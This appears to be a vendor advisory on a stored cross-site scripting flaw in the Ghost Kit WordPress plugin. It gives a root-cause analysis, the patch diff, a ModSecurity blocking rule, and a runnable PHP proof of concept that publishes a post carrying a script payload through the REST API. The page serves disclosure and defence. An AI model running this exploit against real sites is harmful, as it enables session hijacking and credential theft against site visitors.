Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : July 6, 2026

CVE-2026-57651: Ghost Kit – Page Builder Blocks, Motion Effects & Extensions <= 3.6.0 Authenticated (Contributor+) Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin ghostkit
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.6.0
Patched Version 3.6.1
Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57651:

This vulnerability is a Stored Cross-Site Scripting (XSS) in the Ghost Kit plugin up to version 3.6.0. The vulnerability affects the customizer options meta field and allows authenticated attackers with contributor-level access to inject arbitrary web scripts. The severity is rated 6.4 (Medium).

The root cause lies in the `ghostkit_customizer_options` meta field registration in `/ghostkit/gutenberg/plugins/customizer/index.php`. In the vulnerable version, this meta field was registered with `show_in_rest => true` but without an `auth_callback` or `sanitize_callback`. This allowed any authenticated user with REST API access (contributor+) to store arbitrary JSON in the meta field. The stored meta value was then decoded and used unsanitized in the frontend via the `maybe_find_options()` function, which called `json_decode(urldecode(get_post_meta(…)))` without any filtering or escaping.

An attacker with contributor-level access can craft a POST request to the WordPress REST API endpoint `/wp-json/wp/v2/posts/{id}` with a payload in the `meta` object. The attacker sets `ghostkit_customizer_options` to a JSON-encoded array containing an object with an `id` field and a `value` field containing malicious JavaScript. For example, the payload `[{“id”:”test”,”type”:”theme_mod”,”value”:”alert(1)”}]` would be stored. When a user views the post, the `maybe_find_options()` function decodes this meta and outputs the malicious value without sanitization, executing the script.

The patch introduces significant changes to multiple files. In `customizer/index.php`, the patch adds an `auth_callback` and `sanitize_callback` to the `register_meta()` call. The new `sanitize_customizer_options()` function decodes the meta, runs it through `filter_customizer_options_for_context()` which either applies an allowlist or security filtering, and re-encodes it. Additionally, a new file `/ghostkit/gutenberg/utils/rest-meta-auth/index.php` is introduced with helper functions for REST meta authentication. The patch also adds similar auth callbacks to other meta registrations (custom CSS, typography) and introduces a workaround for a WordPress core issue where unchanged meta fields could cause save failures.

Successful exploitation allows an attacker to inject arbitrary JavaScript into WordPress pages. This can lead to session hijacking, credential theft, defacement, or malware distribution. Since the compromise is at the page level, any user viewing the affected page (including administrators) will execute the malicious script.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/ghostkit/build/gutenberg/plugins.asset.php
+++ b/ghostkit/build/gutenberg/plugins.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-plugins'), 'version' => 'e6dbd4b9206c2bdc5366');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-plugins'), 'version' => 'f0c4d481b55d0a4efb34');
--- a/ghostkit/build/settings/index.asset.php
+++ b/ghostkit/build/settings/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => 'c7aed1f811a0a2f68241');
+<?php return array('dependencies' => array('lodash', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-i18n'), 'version' => '1633594ce6dbf3c166e3');
--- a/ghostkit/class-ghost-kit.php
+++ b/ghostkit/class-ghost-kit.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name:  Ghost Kit
  * Description:  Page Builder Blocks and Extensions for Gutenberg
- * Version:      3.6.0
+ * Version:      3.6.1
  * Plugin URI:   https://www.ghostkit.io/?utm_source=wordpress.org&utm_medium=readme&utm_campaign=byline
  * Author:       Ghost Kit Team
  * Author URI:   https://www.ghostkit.io/?utm_source=wordpress.org&utm_medium=readme&utm_campaign=byline
@@ -18,7 +18,7 @@
 }

 if ( ! defined( 'GHOSTKIT_VERSION' ) ) {
-	define( 'GHOSTKIT_VERSION', '3.6.0' );
+	define( 'GHOSTKIT_VERSION', '3.6.1' );
 }

 if ( ! class_exists( 'GhostKit' ) ) :
--- a/ghostkit/gutenberg/index.php
+++ b/ghostkit/gutenberg/index.php
@@ -51,6 +51,8 @@
 require_once ghostkit()->plugin_path . 'gutenberg/blocks/form/fields/radio/block.php';
 require_once ghostkit()->plugin_path . 'gutenberg/blocks/form/fields/hidden/block.php';

+require_once ghostkit()->plugin_path . 'gutenberg/utils/rest-meta-auth/index.php';
+
 require_once ghostkit()->plugin_path . 'gutenberg/plugins/color-palette/index.php';
 require_once ghostkit()->plugin_path . 'gutenberg/plugins/customizer/index.php';
 require_once ghostkit()->plugin_path . 'gutenberg/plugins/custom-code/index.php';
--- a/ghostkit/gutenberg/plugins/custom-code/index.php
+++ b/ghostkit/gutenberg/plugins/custom-code/index.php
@@ -24,21 +24,6 @@
 	/**
 	 * Check if current user can edit custom JS.
 	 *
-	 * WP LIMITATION WORKAROUND:
-	 * When saving posts in Gutenberg, WordPress sends ALL meta fields via REST API,
-	 * including unchanged ones. The auth_callback is triggered for every meta field,
-	 * and if ANY field fails permission check, the ENTIRE post save fails.
-	 *
-	 * This is a known WordPress core issue (Trac #48426, #57745) where protected
-	 * meta fields prevent updates to unrelated meta fields during bulk operations.
-	 *
-	 * OUR SOLUTION:
-	 * We allow the update if:
-	 * 1. User has proper capability (unfiltered_html), OR
-	 * 2. The meta value is not actually changing (preventing false permission errors)
-	 *
-	 * This maintains security while preventing post save failures.
-	 *
 	 * @param bool   $allowed   Whether the user can add the meta field.
 	 * @param string $meta_key  The meta key.
 	 * @param int    $object_id Object ID.
@@ -49,63 +34,23 @@
 	 * @return bool Whether the current user has permission to edit custom JS.
 	 */
 	public function can_edit_custom_js_permission( $allowed, $meta_key, $object_id, $user_id, $cap, $caps ) {
-		// First check: If user has proper capability, always allow.
-		if ( $this->can_edit_custom_js_simple() ) {
-			return true;
-		}
-
-		// Second check: Allow if value is not actually changing
-		// This prevents WordPress bulk update failures when JS fields are
-		// included in POST data but haven't actually been modified.
-		$current_value = get_post_meta( $object_id, $meta_key, true );
-		$new_value     = $this->get_meta_value_from_rest_request( $meta_key );
-
-		// If we can't determine the new value, be conservative and check capability.
-		if ( null === $new_value ) {
-			return false;
-		}
-
-		// Allow if values are identical (no real change being made).
-		if ( $current_value === $new_value ) {
-			return true;
-		}
-
-		// Block if user lacks capability and is trying to change the value.
-		return false;
+		return ghostkit_rest_meta_auth_allows_unchanged( $meta_key, $object_id, 'unfiltered_html' );
 	}

 	/**
-	 * Helper method to extract meta value from current REST API request.
+	 * Check if current user can edit custom CSS.
 	 *
-	 * TECHNICAL NOTE:
-	 * WordPress auth_callback doesn't provide the new meta value directly.
-	 * We need to access the current REST request to compare old vs new values.
-	 * This prevents permission errors when meta fields are included in bulk
-	 * updates but haven't actually changed.
+	 * @param bool   $allowed   Whether the user can add the meta field.
+	 * @param string $meta_key  The meta key.
+	 * @param int    $object_id Object ID.
+	 * @param int    $user_id   User ID.
+	 * @param string $cap       Capability name.
+	 * @param array  $caps      User capabilities.
 	 *
-	 * @param string $meta_key The meta key to look for.
-	 * @return string|null The new meta value from request, or null if not found.
+	 * @return bool Whether the current user has permission to edit custom CSS.
 	 */
-	private function get_meta_value_from_rest_request( $meta_key ) {
-		// Check if we're in a REST API request context.
-		if ( ! defined( 'REST_REQUEST' ) || ! REST_REQUEST ) {
-			return null;
-		}
-
-		// Try to get the current request.
-		global $wp;
-		if ( ! isset( $wp->query_vars['rest_route'] ) ) {
-			return null;
-		}
-
-		// Get request body.
-		$request_body = json_decode( file_get_contents( 'php://input' ), true );
-
-		if ( ! $request_body || ! isset( $request_body['meta'][ $meta_key ] ) ) {
-			return null;
-		}
-
-		return $request_body['meta'][ $meta_key ];
+	public function can_edit_custom_css_permission( $allowed, $meta_key, $object_id, $user_id, $cap, $caps ) {
+		return ghostkit_rest_meta_auth_allows_unchanged( $meta_key, $object_id, 'edit_post' );
 	}

 	/**
@@ -137,9 +82,10 @@
 			'post',
 			'ghostkit_custom_css',
 			array(
-				'show_in_rest' => true,
-				'single'       => true,
-				'type'         => 'string',
+				'show_in_rest'  => true,
+				'single'        => true,
+				'type'          => 'string',
+				'auth_callback' => array( $this, 'can_edit_custom_css_permission' ),
 			)
 		);
 		register_meta(
--- a/ghostkit/gutenberg/plugins/customizer/index.php
+++ b/ghostkit/gutenberg/plugins/customizer/index.php
@@ -49,7 +49,9 @@
 	 * Try to find meta data to replace options.
 	 */
 	public function maybe_find_options() {
-		$this->custom_options = json_decode( urldecode( get_post_meta( get_queried_object_id(), 'ghostkit_customizer_options', true ) ), true );
+		$meta_value           = get_post_meta( get_queried_object_id(), 'ghostkit_customizer_options', true );
+		$raw_options          = $this->decode_customizer_options_meta( $meta_value );
+		$this->custom_options = $this->filter_customizer_options_for_context( $raw_options );

 		if ( $this->custom_options && ! empty( $this->custom_options ) ) {
 			foreach ( $this->custom_options as $opt ) {
@@ -80,6 +82,305 @@
 	}

 	/**
+	 * Check if current user can edit customizer options meta.
+	 *
+	 * @param bool   $allowed   Whether the user can add the meta field.
+	 * @param string $meta_key  The meta key.
+	 * @param int    $object_id Object ID.
+	 * @param int    $user_id   User ID.
+	 * @param string $cap       Capability name.
+	 * @param array  $caps      User capabilities.
+	 *
+	 * @return bool
+	 */
+	public function can_edit_customizer_options_permission( $allowed, $meta_key, $object_id, $user_id, $cap, $caps ) {
+		if ( $this->can_edit_customizer_options_simple() ) {
+			return true;
+		}
+
+		if ( ! ghostkit_rest_meta_key_exists_in_request( $meta_key ) ) {
+			return false;
+		}
+
+		$new_value     = ghostkit_get_meta_value_from_rest_request( $meta_key );
+		$current_value = get_post_meta( $object_id, $meta_key, true );
+
+		return $this->customizer_options_meta_is_unchanged( $current_value, $new_value );
+	}
+
+	/**
+	 * Simple capability check for customizer options.
+	 *
+	 * @return bool
+	 */
+	public function can_edit_customizer_options_simple() {
+		return current_user_can( 'edit_theme_options' );
+	}
+
+	/**
+	 * Sanitize customizer options meta.
+	 *
+	 * @param string $meta_value Meta value.
+	 * @return string
+	 */
+	public function sanitize_customizer_options( $meta_value ) {
+		if ( empty( $meta_value ) ) {
+			return '';
+		}
+
+		if ( ! is_string( $meta_value ) ) {
+			return '';
+		}
+
+		$options   = $this->decode_customizer_options_meta( $meta_value );
+		$sanitized = $this->filter_customizer_options_for_context( $options );
+
+		if ( empty( $sanitized ) ) {
+			return '';
+		}
+
+		return rawurlencode( wp_json_encode( $sanitized ) );
+	}
+
+	/**
+	 * Get canonical customizer options from stored meta.
+	 *
+	 * @param mixed $meta_value Stored meta value.
+	 * @return array
+	 */
+	public function get_canonical_customizer_options_from_meta( $meta_value ) {
+		if ( ghostkit_is_empty_meta_value( $meta_value ) ) {
+			return array();
+		}
+
+		if ( ! is_string( $meta_value ) ) {
+			return array();
+		}
+
+		$decoded = $this->decode_customizer_options_meta( $meta_value );
+
+		return $this->filter_customizer_options_for_context( $decoded );
+	}
+
+	/**
+	 * Check whether customizer meta values are semantically unchanged.
+	 *
+	 * @param mixed $current_meta Current stored meta value.
+	 * @param mixed $new_meta     Incoming meta value.
+	 * @return bool
+	 */
+	private function customizer_options_meta_is_unchanged( $current_meta, $new_meta ) {
+		$current_options = $this->sort_customizer_options_for_compare(
+			$this->get_canonical_customizer_options_from_meta( $current_meta )
+		);
+		$new_options     = $this->sort_customizer_options_for_compare(
+			$this->get_canonical_customizer_options_from_meta( $new_meta )
+		);
+
+		return $current_options === $new_options;
+	}
+
+	/**
+	 * Sort customizer options for stable comparison.
+	 *
+	 * @param array $options Canonical customizer options.
+	 * @return array
+	 */
+	private function sort_customizer_options_for_compare( $options ) {
+		if ( ! is_array( $options ) ) {
+			return array();
+		}
+
+		$normalized = array();
+
+		foreach ( $options as $opt ) {
+			if ( ! is_array( $opt ) || empty( $opt['id'] ) ) {
+				continue;
+			}
+
+			$type = isset( $opt['type'] ) ? $opt['type'] : 'theme_mod';
+			$key  = $type . ':' . $opt['id'];
+
+			$normalized[ $key ] = array(
+				'id'    => $opt['id'],
+				'type'  => $type,
+				'value' => isset( $opt['value'] ) ? $opt['value'] : '',
+			);
+		}
+
+		ksort( $normalized );
+
+		return array_values( $normalized );
+	}
+
+	/**
+	 * Decode stored customizer options meta.
+	 *
+	 * @param mixed $meta_value Stored meta value.
+	 * @return array|null
+	 */
+	private function decode_customizer_options_meta( $meta_value ) {
+		if ( ! is_string( $meta_value ) || '' === $meta_value ) {
+			return null;
+		}
+
+		return json_decode( rawurldecode( $meta_value ), true );
+	}
+
+	/**
+	 * Filter customizer options for save or frontend use.
+	 *
+	 * @param mixed $options Decoded customizer options.
+	 * @return array
+	 */
+	private function filter_customizer_options_for_context( $options ) {
+		$allowed_fields = $this->get_allowed_customizer_fields();
+
+		if ( empty( $allowed_fields ) ) {
+			return $this->filter_security_custom_options( $options );
+		}
+
+		return $this->filter_valid_custom_options( $options );
+	}
+
+	/**
+	 * Filter customizer options to only security-safe entries.
+	 *
+	 * Used when the customizer allowlist is unavailable (e.g. block themes).
+	 *
+	 * @param mixed $options Decoded customizer options.
+	 * @return array
+	 */
+	public function filter_security_custom_options( $options ) {
+		return $this->filter_custom_options_by_rules( $options, false );
+	}
+
+	/**
+	 * Filter customizer options to only allowed entries.
+	 *
+	 * @param mixed $options Decoded customizer options.
+	 * @return array
+	 */
+	public function filter_valid_custom_options( $options ) {
+		return $this->filter_custom_options_by_rules( $options, true );
+	}
+
+	/**
+	 * Filter customizer options by security rules and optional allowlist.
+	 *
+	 * @param mixed $options           Decoded customizer options.
+	 * @param bool  $require_allowlist Whether to require allowlisted fields.
+	 * @return array
+	 */
+	private function filter_custom_options_by_rules( $options, $require_allowlist ) {
+		if ( ! is_array( $options ) ) {
+			return array();
+		}
+
+		$allowed_fields = $require_allowlist ? $this->get_allowed_customizer_fields() : array();
+		$sanitized      = array();
+
+		foreach ( $options as $opt ) {
+			if ( ! is_array( $opt ) || empty( $opt['id'] ) ) {
+				continue;
+			}
+
+			$type = isset( $opt['type'] ) ? $opt['type'] : 'theme_mod';
+
+			if ( ! in_array( $type, array( 'theme_mod', 'option' ), true ) ) {
+				continue;
+			}
+
+			if ( $this->is_blocked_customizer_option( $type, $opt['id'] ) ) {
+				continue;
+			}
+
+			if ( $require_allowlist ) {
+				$field_key = $type . ':' . $opt['id'];
+				if ( ! isset( $allowed_fields[ $field_key ] ) ) {
+					continue;
+				}
+			}
+
+			if ( ! isset( $opt['value'] ) || ! is_scalar( $opt['value'] ) ) {
+				continue;
+			}
+
+			$sanitized[] = array(
+				'id'    => $opt['id'],
+				'type'  => $type,
+				'value' => $opt['value'],
+			);
+		}
+
+		return $sanitized;
+	}
+
+	/**
+	 * Get allowed customizer fields from stored settings.
+	 *
+	 * @return array
+	 */
+	private function get_allowed_customizer_fields() {
+		$fields  = get_option( 'ghostkit_customizer_fields', array() );
+		$allowed = array();
+
+		if ( ! is_array( $fields ) ) {
+			return $allowed;
+		}
+
+		foreach ( $fields as $field ) {
+			if ( empty( $field['id'] ) || empty( $field['type'] ) ) {
+				continue;
+			}
+
+			if ( ! in_array( $field['type'], array( 'theme_mod', 'option' ), true ) ) {
+				continue;
+			}
+
+			if ( $this->is_blocked_customizer_option( $field['type'], $field['id'] ) ) {
+				continue;
+			}
+
+			$allowed[ $field['type'] . ':' . $field['id'] ] = true;
+		}
+
+		return $allowed;
+	}
+
+	/**
+	 * Check if customizer option should be blocked from overrides.
+	 *
+	 * @param string $type Option type.
+	 * @param string $id   Option ID.
+	 * @return bool
+	 */
+	private function is_blocked_customizer_option( $type, $id ) {
+		if ( 'option' === $type && 0 === strpos( $id, 'ghostkit_' ) ) {
+			return true;
+		}
+
+		$blocked_ids = array( 'active_theme' );
+		if ( in_array( $id, $blocked_ids, true ) ) {
+			return true;
+		}
+
+		if ( 'option' === $type ) {
+			if ( preg_match( '/^widget_/', $id ) ) {
+				return true;
+			}
+			if ( preg_match( '/^sidebars_widgets[/', $id ) ) {
+				return true;
+			}
+			if ( preg_match( '/^nav_menus_/', $id ) ) {
+				return true;
+			}
+		}
+
+		return false;
+	}
+
+	/**
 	 * Register meta.
 	 */
 	public function register_meta() {
@@ -87,9 +388,11 @@
 			'post',
 			'ghostkit_customizer_options',
 			array(
-				'show_in_rest' => true,
-				'single'       => true,
-				'type'         => 'string',
+				'show_in_rest'      => true,
+				'single'            => true,
+				'type'              => 'string',
+				'auth_callback'     => array( $this, 'can_edit_customizer_options_permission' ),
+				'sanitize_callback' => array( $this, 'sanitize_customizer_options' ),
 			)
 		);
 	}
--- a/ghostkit/gutenberg/plugins/typography/index.php
+++ b/ghostkit/gutenberg/plugins/typography/index.php
@@ -18,6 +18,46 @@
 	 */
 	public function __construct() {
 		add_action( 'init', array( $this, 'register_meta' ) );
+		add_filter( 'gkt_global_data', array( $this, 'add_typography_capability_data' ) );
+	}
+
+	/**
+	 * Check if current user can edit typography meta.
+	 *
+	 * @param bool   $allowed   Whether the user can add the meta field.
+	 * @param string $meta_key  The meta key.
+	 * @param int    $object_id Object ID.
+	 * @param int    $user_id   User ID.
+	 * @param string $cap       Capability name.
+	 * @param array  $caps      User capabilities.
+	 *
+	 * @return bool
+	 */
+	public function can_edit_typography_permission( $allowed, $meta_key, $object_id, $user_id, $cap, $caps ) {
+		return ghostkit_rest_meta_auth_allows_unchanged( $meta_key, $object_id, 'edit_post' );
+	}
+
+	/**
+	 * Check if current user can edit global typography.
+	 *
+	 * @return bool
+	 */
+	public function can_edit_global_typography_permission() {
+		return current_user_can( 'edit_theme_options' );
+	}
+
+	/**
+	 * Add typography capability data to global variables (admin only).
+	 *
+	 * @param array $global_data Global data array.
+	 * @return array Modified global data array.
+	 */
+	public function add_typography_capability_data( $global_data ) {
+		if ( is_admin() ) {
+			$global_data['canEditGlobalTypography'] = $this->can_edit_global_typography_permission();
+		}
+
+		return $global_data;
 	}

 	/**
@@ -28,9 +68,10 @@
 			'post',
 			'ghostkit_typography',
 			array(
-				'show_in_rest' => true,
-				'single'       => true,
-				'type'         => 'string',
+				'show_in_rest'  => true,
+				'single'        => true,
+				'type'          => 'string',
+				'auth_callback' => array( $this, 'can_edit_typography_permission' ),
 			)
 		);
 	}
--- a/ghostkit/gutenberg/utils/rest-meta-auth/index.php
+++ b/ghostkit/gutenberg/utils/rest-meta-auth/index.php
@@ -0,0 +1,237 @@
+<?php
+/**
+ * REST meta auth helper functions.
+ *
+ * @package ghostkit
+ */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * Store the current REST request for meta auth callbacks.
+ *
+ * WordPress auth_callback does not receive the new meta value. Gutenberg sends
+ * all meta keys on post save, so multiple callbacks must read from the same
+ * parsed request instead of php://input (which can only be read once).
+ *
+ * @param mixed           $response Response to replace.
+ * @param array           $handler  Route handler.
+ * @param WP_REST_Request $request  Request object.
+ * @return mixed
+ */
+function ghostkit_store_current_rest_request( $response, $handler, $request ) {
+	$GLOBALS['ghostkit_current_rest_request'] = $request;
+
+	return $response;
+}
+add_filter( 'rest_request_before_callbacks', 'ghostkit_store_current_rest_request', 10, 3 );
+
+/**
+ * Get the current REST request meta params.
+ *
+ * @return array|null
+ */
+function ghostkit_get_rest_request_meta_params() {
+	if ( ! defined( 'REST_REQUEST' ) || ! REST_REQUEST ) {
+		return null;
+	}
+
+	global $wp;
+	if ( ! isset( $wp->query_vars['rest_route'] ) ) {
+		return null;
+	}
+
+	$request = isset( $GLOBALS['ghostkit_current_rest_request'] ) ? $GLOBALS['ghostkit_current_rest_request'] : null;
+
+	if ( ! $request instanceof WP_REST_Request ) {
+		return null;
+	}
+
+	$meta = $request->get_param( 'meta' );
+
+	if ( ! is_array( $meta ) ) {
+		return null;
+	}
+
+	return $meta;
+}
+
+/**
+ * Check whether a meta key exists in the current REST request.
+ *
+ * @param string $meta_key The meta key to look for.
+ * @return bool
+ */
+function ghostkit_rest_meta_key_exists_in_request( $meta_key ) {
+	$meta = ghostkit_get_rest_request_meta_params();
+
+	return is_array( $meta ) && array_key_exists( $meta_key, $meta );
+}
+
+/**
+ * Extract a meta value from the current REST API request.
+ *
+ * @param string $meta_key The meta key to look for.
+ * @return string|null The new meta value from request, or null if not found.
+ */
+function ghostkit_get_meta_value_from_rest_request( $meta_key ) {
+	$meta = ghostkit_get_rest_request_meta_params();
+
+	if ( ! is_array( $meta ) || ! array_key_exists( $meta_key, $meta ) ) {
+		return null;
+	}
+
+	return $meta[ $meta_key ];
+}
+
+/**
+ * Check whether a meta value should be treated as empty.
+ *
+ * @param mixed $value Meta value.
+ * @return bool
+ */
+function ghostkit_is_empty_meta_value( $value ) {
+	return '' === $value || null === $value || false === $value;
+}
+
+/**
+ * Sort array values recursively for stable JSON comparison.
+ *
+ * @param mixed $value Value to normalize.
+ * @return mixed
+ */
+function ghostkit_sort_array_deep_for_meta_compare( $value ) {
+	if ( ! is_array( $value ) ) {
+		return $value;
+	}
+
+	if ( function_exists( 'wp_is_numeric_array' ) && wp_is_numeric_array( $value ) ) {
+		$sorted = array();
+
+		foreach ( $value as $item ) {
+			$sorted[] = ghostkit_sort_array_deep_for_meta_compare( $item );
+		}
+
+		return $sorted;
+	}
+
+	ksort( $value );
+
+	foreach ( $value as $key => $item ) {
+		$value[ $key ] = ghostkit_sort_array_deep_for_meta_compare( $item );
+	}
+
+	return $value;
+}
+
+/**
+ * Normalize JSON meta strings for semantic comparison.
+ *
+ * @param mixed $value Meta value.
+ * @return array|null
+ */
+function ghostkit_normalize_json_meta_for_compare( $value ) {
+	if ( ! is_string( $value ) ) {
+		return null;
+	}
+
+	if ( '' === $value ) {
+		return array();
+	}
+
+	$decoded = json_decode( $value, true );
+
+	if ( JSON_ERROR_NONE !== json_last_error() || ! is_array( $decoded ) ) {
+		return null;
+	}
+
+	return ghostkit_sort_array_deep_for_meta_compare( $decoded );
+}
+
+/**
+ * Check whether REST meta values are semantically unchanged.
+ *
+ * @param mixed $current_value Stored meta value.
+ * @param mixed $new_value     Incoming REST meta value.
+ * @return bool
+ */
+function ghostkit_rest_meta_values_are_unchanged( $current_value, $new_value ) {
+	if ( $current_value === $new_value ) {
+		return true;
+	}
+
+	if ( ghostkit_is_empty_meta_value( $current_value ) && ghostkit_is_empty_meta_value( $new_value ) ) {
+		return true;
+	}
+
+	$current_json = ghostkit_normalize_json_meta_for_compare( $current_value );
+	$new_json     = ghostkit_normalize_json_meta_for_compare( $new_value );
+
+	if ( null !== $current_json && null !== $new_json ) {
+		return wp_json_encode( $current_json ) === wp_json_encode( $new_json );
+	}
+
+	return false;
+}
+
+/**
+ * Check whether the current user has a capability for meta auth.
+ *
+ * @param string $capability Capability name.
+ * @param int    $object_id  Post ID for meta capabilities.
+ * @return bool
+ */
+function ghostkit_current_user_can_for_meta_auth( $capability, $object_id ) {
+	$meta_capabilities = array(
+		'edit_post',
+		'edit_page',
+		'delete_post',
+		'delete_page',
+		'read_post',
+		'read_page',
+	);
+
+	if ( in_array( $capability, $meta_capabilities, true ) ) {
+		return current_user_can( $capability, $object_id );
+	}
+
+	return current_user_can( $capability );
+}
+
+/**
+ * Check whether a REST meta update should be allowed.
+ *
+ * WP LIMITATION WORKAROUND:
+ * When saving posts in Gutenberg, WordPress sends ALL meta fields via REST API,
+ * including unchanged ones. The auth_callback is triggered for every meta field,
+ * and if ANY field fails permission check, the ENTIRE post save fails.
+ *
+ * This is a known WordPress core issue (Trac #48426, #57745).
+ *
+ * We allow the update if:
+ * 1. User has the required capability, OR
+ * 2. The meta value is not actually changing.
+ *
+ * @param string $meta_key   Meta key.
+ * @param int    $object_id  Post ID.
+ * @param string $capability Required capability to change the value.
+ * @return bool
+ */
+function ghostkit_rest_meta_auth_allows_unchanged( $meta_key, $object_id, $capability ) {
+	$allowed = false;
+
+	if ( ghostkit_current_user_can_for_meta_auth( $capability, $object_id ) ) {
+		$allowed = true;
+	} elseif ( ghostkit_rest_meta_key_exists_in_request( $meta_key ) ) {
+		$current_value = get_post_meta( $object_id, $meta_key, true );
+		$new_value     = ghostkit_get_meta_value_from_rest_request( $meta_key );
+
+		if ( ghostkit_rest_meta_values_are_unchanged( $current_value, $new_value ) ) {
+			$allowed = true;
+		}
+	}
+
+	return $allowed;
+}

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-57651
# Block stored XSS via ghostkit_customizer_options meta field
# Targets WordPress REST API post creation/update
SecRule REQUEST_URI "@beginsWith /wp-json/wp/v2/posts" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-57651 XSS via Ghost Kit customizer options',severity:'CRITICAL',tag:'CVE-2026-57651'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS:meta.ghostkit_customizer_options "@rx <script[^>]*>.*</script[^>]*>" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57651 - Ghost Kit <= 3.6.0 Stored XSS via Customizer Options

$target_url = 'http://example.com'; // CHANGE THIS
$username = 'contributor';
$password = 'password';

// Step 1: Authenticate and get cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Get a nonce for REST API
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php?action=rest-nonce');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$nonce = trim(curl_exec($ch));
curl_close($ch);

if (empty($nonce)) {
    die('Failed to get nonce');
}

// Step 3: Create a post with malicious customizer options
$payload = [
    'id' => 'test',
    'type' => 'theme_mod',
    'value' => '<script>alert("CVE-2026-57651 XSS")</script>'
];

$meta_value = rawurlencode(json_encode([$payload]));

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-json/wp/v2/posts');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $nonce
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
    'title' => 'CVE Test',
    'content' => 'Testing vulnerability',
    'status' => 'publish',
    'meta' => [
        'ghostkit_customizer_options' => $meta_value
    ]
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: $http_coden";
echo "Response: $responsen";

if ($http_code == 201) {
    $data = json_decode($response, true);
    echo "Post created! Visit: " . $data['link'] . "n";
} else {
    echo "Exploit may have failed. The patch might be applied.n";
}

unlink('/tmp/cookies.txt');

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.